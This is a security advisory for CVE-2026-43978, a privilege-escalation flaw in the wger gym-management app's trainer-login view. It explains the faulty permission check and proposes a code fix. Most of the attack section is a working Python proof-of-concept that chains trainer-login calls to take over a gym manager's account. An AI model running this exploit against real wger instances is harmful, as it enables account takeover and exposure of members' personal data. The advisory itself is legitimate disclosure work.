PT-2026-41137 · Pypi · Wger

Published

2026-05-14

·

Updated

2026-05-14

·

CVE-2026-43978

CVSS v3.1

8.1

High

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.

Details

In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:
# Line 169 — passes if EITHER condition is false
if not request.user.has perm('gym.gym trainer') and not request.session.get('trainer.identity'):
  return HttpResponseForbidden()

# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has perm('gym.gym trainer') and (
  user.has perm('gym.manage gym') or user.has perm('gym.manage gyms')
):
  return HttpResponseForbidden()
After hop 1 (trainer → regular user), request.user is the regular user who has no gym trainer permission, but session['trainer.identity'] is set. Line 169 evaluates: not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.

PoC

Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.
import requests

BASE = 'http://localhost:80'
s = requests.Session()

def whoami():
  r = s.get(f'{BASE}/api/v2/userprofile/',
       headers={'Accept': 'application/json'})
  return r.json().get('username')

# ─────────────────────────────────────────────
print("=" * 55)
print(" PoC: Trainer Login Privilege Escalation")
print(" wger/core/views/user.py:169")
print("=" * 55)

# ─── STEP 1: Normal login as gym trainer ─────
print("
[STEP 1] Login as 'trainer1'")
print("     trainer1 has ONLY 'gym.gym trainer' permission")

s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
  'username': 'trainer1',
  'password': 'pass1234',
  'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f"     Current user : {whoami()}")
print(f"     Permission  : gym.gym trainer (NOT manage gym)")

# ─── STEP 2: Legitimate trainer-login ────────
print("
[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print("     This is ALLOWED — trainer1 has gym trainer permission")
print("     Side effect: session['trainer.identity'] = trainer1 pk")

s.get(f'{BASE}/en/user/4/trainer-login')
print(f"     Current user : {whoami()}")
print(f"     Session flag : trainer.identity is now SET")

# ─── STEP 3: EXPLOIT ─────────────────────────
print("
[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print("     regular1 has ZERO permissions")
print("     BUT session['trainer.identity'] is set from Step 2")
print("     Line 169 check: `not has perm() AND not session.get()` → BYPASSED")

s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f"     Current user : {result}")

# ─── RESULT ──────────────────────────────────
print("
" + "=" * 55)
if result == 'manager1':
  print(" RESULT : !! VULNERABLE !!")
  print(" trainer1 (gym trainer) is now logged in as manager1")
  print(" manager1 has 'gym.manage gym' — full gym admin access")
else:
  print(" RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)
Output on wger 2.5.0a2:
image

Impact

Any authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.

How to fix

The root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped — allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.
Vulnerable code (user.py:169–178):
if not request.user.has perm('gym.gym trainer') and not request.session.get('trainer.identity'):
  return HttpResponseForbidden()

if request.user.has perm('gym.gym trainer') and (
  user.has perm('gym.gym trainer')
  or user.has perm('gym.manage gym')
  or user.has perm('gym.manage gyms')
):
  return HttpResponseForbidden()
Suggested fix:
trainer identity pk = request.session.get('trainer.identity')

if not request.user.has perm('gym.gym trainer'):
  if not trainer identity pk:
    return HttpResponseForbidden()
  # Verify the original trainer in the session still holds the permission
  original trainer = get object or 404(User, pk=trainer identity pk)
  if not original trainer.has perm('gym.gym trainer'):
    return HttpResponseForbidden()

# Target-user check must apply in both direct and chained hop scenarios
if (request.user.has perm('gym.gym trainer') or trainer identity pk) and (
  user.has perm('gym.gym trainer')
  or user.has perm('gym.manage gym')
  or user.has perm('gym.manage gyms')
):
  return HttpResponseForbidden()

Fix

Improper Privilege Management

Weakness Enumeration

CWE-269

Related Identifiers

CVE-2026-43978
GHSA-9QPR-VC49-HQG2

Affected Products

Wger